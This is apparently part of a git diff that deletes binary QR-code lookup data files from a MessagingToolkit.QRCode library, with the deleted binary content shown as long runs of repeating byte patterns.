llmmnnoo--,,++**44556677eeddccbb\\]]^^__==<<;;::$$%%&&''uuttssrrLLMMNNOO99332211DDEEFFGG6543322111223344hhggffeeYYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLLDDCCBBAA--..//00]]\\[[ZZ(())**++NNMMLLKK!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<<``__^^]]aabbccdd88776655))**++,,aa``__^^]\\[[ZZYnnooppqq++**))((66778899ccbbaa``^^__``aa;;::9988&&''(())ssrrqqppNNOOPPQQKKJJIIHHvvwwxxyyyyxxwwvvxxyyzz{{rrqqponm[[\\]]^^>>==<<;;##$$%%&&vvuuttssKKLLMMNNNNMMLLKKssttuuvv&&%%$$##;;<<==>>^^]]\\[[ccddeeff``aabbccHHIIJJKKQQPPOONNppqqrrss))((''&&8899::;;aa``__^^``aabbcc99887766(())**++qqppoonnPPQQRRSS00//..--HHIIJJKK100//..-55667788ddccbbaa]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPP@@??>>==11223344YYXXWWVV,,--..//JJIIHHGG%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghh44332211--..//00]]\\[[ZZ !!""##YXXWWVVUrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddee77665544**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}uuttssrr - - ||}}~~lkkjjiih__``aabb::998877''(())**rrqqppooOOPPQQRRJJIIHHGGwwxxyyzz""!! ??@@AABBZZYYXXWW - -gghhiijjddeeffgg~~LLMMNNOOMMLLKKJJttuuvvww%%$$##""<<==>>??]]\\[[ZZddeeffgg55443322,,--..//mmllkkjj - -TTUUVVWW,,++**))LLMMNNOO-,,++**)99::;;<<``__^^]]aabbccdd88776655))**++,,ppoonnmm QQRRSSTT<<;;::9955667788UUOONNMM00112233FFEEDDCC))**++,,ppoonnmm QQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344YYXXWWVV$$%%&&''UTSRQPOOvvwwxxyy##""!! >>??@@AA[[ZZYYXX ffgghhii33221100..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~qqkkjjii hggffeedccddeeff66554433++,,--..nnmmllkk SSTTUUVVFFEEDDCC{{||}}~~~~}}||{{CCDDEEFFVVUUTTSS kkllmmnn hhiijjkk}}||{{zzPPQQRRSSIIHHGGFFxxyyzz{{~~!! @@AABBCCYYXXWWVV - - hhiijjkk1100//..00112233iihhggff XXYYZZ[[((''&&%%UUVVWWXX)((''&&%==>>??@@\\[[ZZYYeeffgghh44332211--..//00llkkjjii - - UUVVWWXX8877665599::;;<>==<<""##$$%%hhggffeedccbbaa` - -gghhiijj221100////001122jjiihhgg - - WWXXYYZZBBAA@@?? !!""zzyyxxwwGGHHIIJJRRQQPPOOooppqqrr~~}} - - qqrrssttyyxxwwvv TTUUVVWWEEDDCCBB||}}~~}}||{{zzDDEEFFGGUUTTSSRR llmmnnoo--,,++**44556677eeddccbb\\]]^^__$$##""!!YYZZ[[\\%$$##""!AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\44332211==>>??@@HHGGFFEE==>>??@@>>==<<;;11223344hhggffeeYYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<>==<<;;##$$%%&&vvuuttssKKLLMMNNNNMMLLKKssttuuvv||{{zzyyuuvvwwxxuuttssrr - - XXYYZZ[[AA@@??>> !!""##yyxxwwvvHHIIJJKKQQPPOONNppqqrrss))((''&&8899::;;aa``__^^``aabbcc ]]^^__``! EEFFGGHHTTSSRRQQ mmnnoopp,,++**))55667788ddccbbaa]]^^__``00//..--AABBCCDDDDCCBBAAAABBCCDD::99876555667788ddccbbaa]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@HHGGFFEE00112233FFEEDDCC""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddee77665544**++,,--``__^^]] \[[ZZYYXooppqqrr**))((''778899::bbaa``____``aabb::998877''(())**rrqqppooOOPPQQRRJJIIHHGGwwxxyyzzxxwwvvuuyyzz{{||qqponmlk\\]]^^__==<<;;::$$%%&&''uuttssrrLLMMNNOOMMLLKKJJttuuvvww%%$$##""<<==>>??]]\\[[ZZddeeffggaabbccddIIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<<``__^^]]aabbccdd,,++**))EEFFGGHH@@??>>==EEFFGGHH4332211099::;;<<``__^^]]aabbccdd88776655))**++,,ppoonnmm QQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDDDCCBBAA99::;;<>??@@AA[[ZZYYXX ffgghhii33221100..//0011\\[[ZZYY!!""##$$XWWVVUUTssttuuvv&&%%$$##;;<<==>>^^]]\\[[ccddeeff66554433++,,--..nnmmllkk SSTTUUVVFFEEDDCC{{||}}~~ttssrrqq - - }}~~kjjiihhg``aabbcc99887766(())**++qqppoonnPPQQRRSSIIHHGGFFxxyyzz{{~~!! @@AABBCCYYXXWWVV - - hhiijjkkeeffgghh~~}}MMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghh((''&&%%IIJJKKLL<<;;::99IIJJKKLL0//..--,==>>??@@\\[[ZZYYeeffgghh44332211--..//00llkkjjii - - UUVVWWXXDDCCBBAA }}~~||{{zzyyEEFFGGHH@@??>>====>>??@@>>==<<;;**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEEWWVVUUTT - - jjkkllmm//..--,,22334455XXWWVVUU%%&&''((SRQPOONNwwxxyyzz""!! ??@@AABBZZYYXXWW - -gghhiijj221100////001122jjiihhgg - - WWXXYYZZBBAA@@?? !!""kkjjiihh gffeeddcddeeffgg55443322,,--..//mmllkkjj - -TTUUVVWWEEDDCCBB||}}~~}}||{{zzDDEEFFGGUUTTSSRR llmmnnoo iijjkkqq||{{zzyyQQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkll$$##""!!MMNNOOPP33221100MMNNOOUU,++**))(AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLL<<;;::99AABBCCDD::998765..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHIISSRRQQPPnnooppqq++**))((66778899OONNMMLL))**++,,MMLLKKJJ{{||}}~~~~}}||{{CCDDEEFFVVUUTTSS kkllmmnn..--,,++33445566ffeeddcc[[\\]]^^>>==<<;;##$$%%&&ggffeeddcbbaa``_ - - hhiijjkk1100//..00112233iihhggff XXYYZZ[[AA@@??>> !!""##yyxxwwvvHHIIJJKKQQPPOONNppqqrrss~~}}|| - - rrssttuuxxwwvvuu UUVVWWXXDDCCBBAA }}~~||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp~~}} QQRRSSTT//..--,,VVWWXXYY(''&&%%$EEFFGGHHTTSSRRQQ mmnnoopp,,++**))55667788ddccbbaa]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPP33221100EEFFGGHH4332211022334455ggffeeddZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==KKJJIIHH--..//00IIHHGGFF !!""zzyyxxwwGGHHIIJJRRQQPPOOooppqqrr**))((''778899::bbaa``____``aabb::998877''(())**ccbbaa``_^^]]\\[ llmmnnoo--,,++**44556677eeddccbb\\]]^^__==<<;;::$$%%&&''uuttssrrLLMMNNOOMMLLKKJJttuuvvww{{zzyyxxvvwwxxyyttssrrqq - - YYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt||{{zzyyUUVVWWXX++**))((ZZ[[\\]]$##""!! IIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<<``__^^]]aabbccdd88776655))**++,,ppoonnmm QQRRSSTT//..--,,IIJJKKLL0//..--,66778899ccbbaa``^^__``aa;;::9988&&''(())ssrrqqppNNOOPPQQKKJJIIHHvvwwxxyy##""!! >>??@@AAGGFFEEDD11223399EEDDCCBB##$$%%&&vvuuttssKKLLMMNNNNMMLLKKssttuuvv&&%%$$##;;<<==>>^^]]\\[[ccddeeff66554433++,,--..__^^]]\\ !![ZZYYXXWppqqrrss))((''&&8899::;;aa``__^^``aabbcc99887766(())**++qqppoonnPPQQRRSSIIHHGGFFxxyyzz{{wwvvuutt zz{{||}}ponmlkkj]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxxxxwwvvuuYYZZ[[\\''&&%%$$^^__``aa MMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghh44332211--..//00llkkjjii - - UUVVWWXX++**))((MMNNOOUU,++**))(::;;<<==__^^]]\\bbccddee77665544**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEECCBBAA@@::;;<<==AA@@??>>''(())**rrqqppooOOPPQQRRJJIIHHGGwwxxyyzz""!! ??@@AABBZZYYXXWW - -gghhiijj221100////001122[[ZZYYXX""##$$%%WVVUUTSRttuuvvww%%$$##""<<==>>??]]\\[[ZZddeeffgg55443322,,--..//mmllkkjj - -TTUUVVWWEEDDCCBB||}}~~ssrrqqkk - - ~~jiihhggfaabbccdd88776655))**++,,ppoonnmm QQRRSSTTHHGGFFEEyyzz{{||ttssrrqq]]^^__``##""!! bbccddeeQQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\''&&%%$$VVWWXXYY(''&&%%$>>??@@AA[[ZZYYXX ffgghhii33221100..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHII??>>==<<>>??@@AA==<<;;::++,,--..nnmmllkk SSTTUUVVFFEEDDCC{{||}}~~~~}}||{{CCDDEEFFVVUUTTSS kkllmmnn..--,,++33445566WWVVUUOO&&''(())QPOONNMMxxyyzz{{~~!! @@AABBCCYYXXWWVV - - hhiijjkk1100//..00112233iihhggff XXYYZZ[[AA@@??>> !!""##jjiihhggfeeddccbeeffgghh44332211--..//00llkkjjii - - UUVVWWXXDDCCBBAA }}~~ppoonnmm aabbccddffgghhii~~}}||UUVVWWXXDDCCBBAA }}~~||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp,,++**))55667788ddccbbaa]]^^__``##""!! ZZ[[\\]]$##""!! BBCCDDEEWWVVUUTT - - jjkkllmm//..--,,22334455ggffeeddZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMM;;::9933BBCCDDEE99876543//001122jjiihhgg - - WWXXYYZZBBAA@@?? !!""zzyyxxwwGGHHIIJJRRQQPPOOooppqqrr**))((''778899::NNMMLLKK**++,,--LLKKJJII||}}~~}}||{{zzDDEEFFGGUUTTSSRR llmmnnoo--,,++**44556677eeddccbb\\]]^^__==<<;;::$$%%&&''ffeeddccbaa``__^ - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\@@??>>==!!""##$$llkkjjii - - eeffgghhjjkkqqrr{{zzyyxxYYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<<``__^^]]aabbccdd^^__``aa FFGGHHIISSRRQQPPnnooppqq++**))((66778899ccbbaa``^^__``aa;;::9988&&''(())ssrrqqppNNOOPPQQ221100//FFGGHHII3221100/33445566ffeeddcc[[\\]]^^>>==<<;;##$$%%&&vvuuttssKKLLMMNNNNMMLLKKssttuuvv&&%%$$##;;<<==>>JJIIHHGG..//0011HHGGFFEE !!""##yyxxwwvvHHIIJJKKQQPPOONNppqqrrss))((''&&8899::;;aa``__^^``aabbcc99887766(())**++bbaa``__^]]\\[[Z mmnnoopp,,++**))55667788ddccbbaa]]^^__``<<;;::99%%&&''((hhggffee - - iijjkkllssttuuvvwwvvuutt - -]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghhbbccddeeJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddee77665544**++,,--oonnmmll RRSSTTUU..--,,++JJKKLLMM/..--,,+778899::bbaa``____``aabb::998877''(())**rrqqppooOOPPQQRRJJIIHHGGwwxxyyzz""!! ??@@AABBFFEEDDCC223399::DDCCBBAA$$%%&&''uuttssrrLLMMNNOOMMLLKKJJttuuvvww%%$$##""<<==>>??]]\\[[ZZddeeffgg55443322,,--..//^^]]\\[[ !!""ZYYXXWWVqqrrsstt((''&&%%99::;;<<``__^^]]aabbccdd88776655))**++,,ddccbbaa mmnnoopp wwxxyyzzssrrqqpo aabbccdd88776655))**++,,ppoonnmm QQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkllffgghhii~~}}||NNOOPPQQKKJJIIHHvvwwxxyy##""!! >>??@@AA[[ZZYYXX ffgghhii33221100..//0011kkjjiihh - - VVWWXXYY**))((''NNOOUUVV+**))((';;<<==>>^^]]\\[[ccddeeff66554433++,,--..nnmmllkk SSTTUUVVFFEEDDCC{{||}}~~~~}}||{{CCDDEEFFBBAA@@??;;<<==>>@@??>>==(())**++qqppoonnPPQQRRSSIIHHGGFFxxyyzz{{~~!! @@AABBCCYYXXWWVV - - hhiijjkk1100//..00112233ZZYYXXWW##$$%%&&VUUTSRQPuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghh44332211--..//00``__^^]]qqrrsstt~~}}||{{ - - - -{{||}}~~nmlkkjjieeffgghh44332211--..//00llkkjjii - - UUVVWWXXDDCCBBAA }}~~||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp jjkkqqrr{{zzyyxxRRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEEWWVVUUTT - - jjkkllmm//..--,,22334455ggffeeddZZ[[\\]]&&%%$$##WWXXYYZZ'&&%%$$#??@@AABBZZYYXXWW - -gghhiijj221100////001122jjiihhgg - - WWXXYYZZBBAA@@?? !!""zzyyxxwwGGHHIIJJ>>==<<;;??@@AABB<<;;::99,,--..//mmllkkjj - -TTUUVVWWEEDDCCBB||}}~~}}||{{zzDDEEFFGGUUTTSSRR llmmnnoo--,,++**44556677VVUUOONN''(())**OONNMMLLyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344\\[[ZZYYuuvvwwxxzzyyxxww ihhggffe - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\@@??>>==!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt~~}}||{{ - - ssttuuvvwwvvuutt - -VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHIISSRRQQPPnnooppqq++**))((66778899ccbbaa``^^__``aa""!! [[\\]]^^#""!! CCDDEEFFVVUUTTSS kkllmmnn..--,,++33445566ffeeddcc[[\\]]^^>>==<<;;##$$%%&&vvuuttssKKLLMMNN::993322CCDDEEFF8765433200112233iihhggff XXYYZZ[[AA@@??>> !!""##yyxxwwvvHHIIJJKKQQPPOONNppqqrrss))((''&&8899::;;MMLLKKJJ++,,--..KKJJIIHH }}~~||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp,,++**))55667788XXWWVVUUyyzz{{||vvuuttsseddccbba mmnnoopp,,++**))55667788ddccbbaa]]^^__``<<;;::99%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxxzzyyxxwwwwxxyyzzssrrqqpo ZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddee__``aabbGGHHIIJJRRQQPPOOooppqqrr**))((''778899::bbaa``____``aabb::998877''(())**rrqqppooOOPPQQRR1100//..GGHHIIJJ21100//.44556677eeddccbb\\]]^^__==<<;;::$$%%&&''uuttssrrLLMMNNOOMMLLKKJJttuuvvww%%$$##""<<==>>??IIHHGGFF//001122GGFFEEDD!!""##$$xxwwvvuuIIJJKKLLPPOONNMMqqrrsstt((''&&%%99::;;<>??@@AA[[ZZYYXX ffgghhiiccddeeffKKLLMMNNNNMMLLKKssttuuvv&&%%$$##;;<<==>>^^]]\\[[ccddeeff66554433++,,--..nnmmllkk SSTTUUVV--,,++**KKLLMMNN.--,,++*8899::;;aa``__^^``aabbcc99887766(())**++qqppoonnPPQQRRSSIIHHGGFFxxyyzz{{~~!! @@AABBCCEEDDCCBB3399::;;CCBBAA@@%%&&''((ttssrrqqMMNNOOPPLLKKJJIIuuvvwwxx$$##""!!==>>??@@PPOONNMM!!""##$$iihhggff]\\[[ZZYuuvvwwxx$$##""!!==>>??@@\\[[ZZYYeeffgghh44332211--..//00llkkjjii - - UUVVWWXXDDCCBBAA }}~~rrqqkkjj ihhggffebbccddee77665544**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEEWWVVUUTT - - jjkkllmmgghhiijj~~}}||{{OOPPQQRRJJIIHHGGwwxxyyzz""!! ??@@AABBZZYYXXWW - -gghhiijj221100////001122jjiihhgg - - WWXXYYZZ))((''&&OOUUVVWW*))((''&<<==>>??]]\\[[ZZddeeffgg55443322,,--..//mmllkkjj - -TTUUVVWWEEDDCCBB||}}~~}}||{{zzDDEEFFGGAA@@??>><<==>>????>>==<<))**++,,ppoonnmm QQRRSSTTHHGGFFEEyyzz{{||~~}} AABBCCDDDDCCBBAA }}~~||{{zzyyEEFFGGHH@@??>>====>>??@@>>==<<;;**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEE@@??>>==EEFFGGHH//..--,,BBCCDDEE@@??>>==!!""##$$xxwwvvuuIIJJKKLL<<;;::99AABBCCDD::998765..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHII<<;;::99IIJJKKLL++**))((FFGGHHII<<;;::99%%&&''((ttssrrqqMMNNOOPP33221100EEFFGGHH4332211022334455ggffeeddZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMM33221100MMNNOOUU''&&%%$$JJKKLLMM88776655))**++,,ppoonnmm QQRRSSTT//..--,,IIJJKKLL0//..--,66778899ccbbaa``^^__``aa;;::9988&&''(())ssrrqqppNNOOPPQQ//..--,,VVWWXXYY##""!! NNOOPPQQ44332211--..//00llkkjjii - - UUVVWWXX++**))((MMNNOOUU,++**))(::;;<<==__^^]]\\bbccddee77665544**++,,--oonnmmll RRSSTTUU++**))((ZZ[[\\]]~~}}||RRSSTTUU00//..--11223344hhggffeeYYZZ[[\\''&&%%$$VVWWXXYY(''&&%%$>>??@@AA[[ZZYYXX ffgghhii33221100..//0011kkjjiihh - - VVWWXXYY''&&%%$$^^__``aa{{zzyyxxVVWWXXYY,,++**))55667788ddccbbaa]]^^__``##""!! ZZ[[\\]]$##""!! BBCCDDEEWWVVUUTT - - jjkkllmm//..--,,22334455ggffeeddZZ[[\\]]##""!! bbccddeewwvvuuttZZ[[\\]]((''&&%%99::;;<<``__^^]]aabbccdd^^__``aa FFGGHHIISSRRQQPPnnooppqq++**))((66778899ccbbaa``^^__``aaffgghhiissrrqqpp^^__``aa$$##""!!==>>??@@\\[[ZZYYeeffgghhbbccddeeJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddeejjkkqqrroonnmmll bbccddee~~}} AABBCCDDXXWWVVUU - - iijjkkllffgghhii~~}}||NNOOPPQQKKJJIIHHvvwwxxyy##""!! >>??@@AA[[ZZYYXX ffgghhiissttuuvvkkjjiihh - - ffgghhii||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp jjkkqqrr{{zzyyxxRRSSTTUUGGFFEEDDzz{{||}}~~}}||BBCCDDEEWWVVUUTT - - jjkkllmm wwxxyyzzggffeedd - - jjkkllmmxxwwvvuuIIJJKKLLPPOONNMMqqrrsstt~~}}||{{ - - ssttuuvvwwvvuutt - -VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHIISSRRQQPPnnooppqq~~}}||{{ - - - -{{||}}~~ccbbaa``nnooppqqttssrrqqMMNNOOPPLLKKJJIIuuvvwwxxzzyyxxwwwwxxyyzzssrrqqpo ZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuuzzyyxxww __^^]]\\rrssttuuppoonnmm QQRRSSTTHHGGFFEEyyzz{{||vvuuttss - -{{||}}~~nmlkkjji^^__``aa;;::9988&&''(())ssrrqqppNNOOPPQQKKJJIIHHvvwwxxyyvvuuttss[[ZZYYXXvvwwxxyyllkkjjii - - UUVVWWXXDDCCBBAA }}~~rrqqkkjj ihhggffebbccddee77665544**++,,--oonnmmll RRSSTTUUGGFFEEDDzz{{||}}rrqqkkjjWWVVUUTTzz{{||}}hhggffeeYYZZ[[\\@@??>>==!!""##$$iihhggffeddccbba ffgghhii33221100..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~iihhggffSSRRQQPP !!~~ddccbbaa]]^^__``<<;;::99%%&&''((eeddccbba``__^^] - - jjkkllmm//..--,,22334455ggffeeddZZ[[\\]]??>>==<<""##$$%%eeddccbb !!""##OONNMMLL""##$$%%``__^^]]aabbccdd88776655))**++,,aa``__^^]\\[[ZZYnnooppqq++**))((66778899ccbbaa``^^__``aa;;::9988&&''(())aa``__^^$$%%&&''KKJJIIHH&&''(())\\[[ZZYYeeffgghh44332211--..//00]]\\[[ZZ !!""##YXXWWVVUrrssttuu''&&%%$$::;;<<==__^^]]\\bbccddee77665544**++,,--]]\\[[ZZ(())**++GGFFEEDD**++,,--XXWWVVUU - - iijjkkll00//..--11223344YYXXWWVV$$%%&&''UTSRQPOOvvwwxxyy##""!! >>??@@AA[[ZZYYXX ffgghhii33221100..//0011YYXXWWVV,,--..//CCBBAA@@..//0011TTSSRRQQ mmnnoopp,,++**))55667788UUOONNMM(())**++NNMMLLKKzz{{||}}~~}}||BBCCDDEEWWVVUUTT - - jjkkllmm//..--,,22334455UUOONNMM00112233??>>==<<22334455PPOONNMMqqrrsstt((''&&%%99::;;<>??@@HHGGFFEE00112233FFEEDDCC""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuu''&&%%$$::;;<<==HHGGFFEE==>>??@@77665544::;;<<==HHGGFFEEyyzz{{||~~}} AABBCCDDDDCCBBAA99::;;<>??@@AADDCCBBAAAABBCCDD33221100>>??@@AAfpvfpvXQJ`ےXQJ`ےtAJlf`vXfH~ے`JXtlJtlJf~Hf~HbHAZbHAZJlt`vXn`vXnr˂pr˂ptlJtlJf~HfHfbHAZJltJlt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˂rXQdQZ|dQZ|vpfHvpfHZHAbAHr󙐂˝`vXn`vXnJltJlt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_2.dat deleted file mode 100644 index 8637f14..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_2.dat +++ /dev/null @@ -1,345 +0,0 @@ -|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxw|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{zyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwxwtstststs~}~}~}~}zyzyzyzyxwxwxwvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutstststs~}~}~}~}zyzyzyzyvuvuvuvutststsrq~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrq~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrq~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrq~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrq~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrq~}~}~}|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvutsrqrqrqrq|{|{|{|{xwxwxwxwtstststsrqrqrqrqrqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOOOOOPOPLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#       - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - rqrqrqrqnmnmnmnmjijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSOPOPOPOPLKLKLKLKHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - - 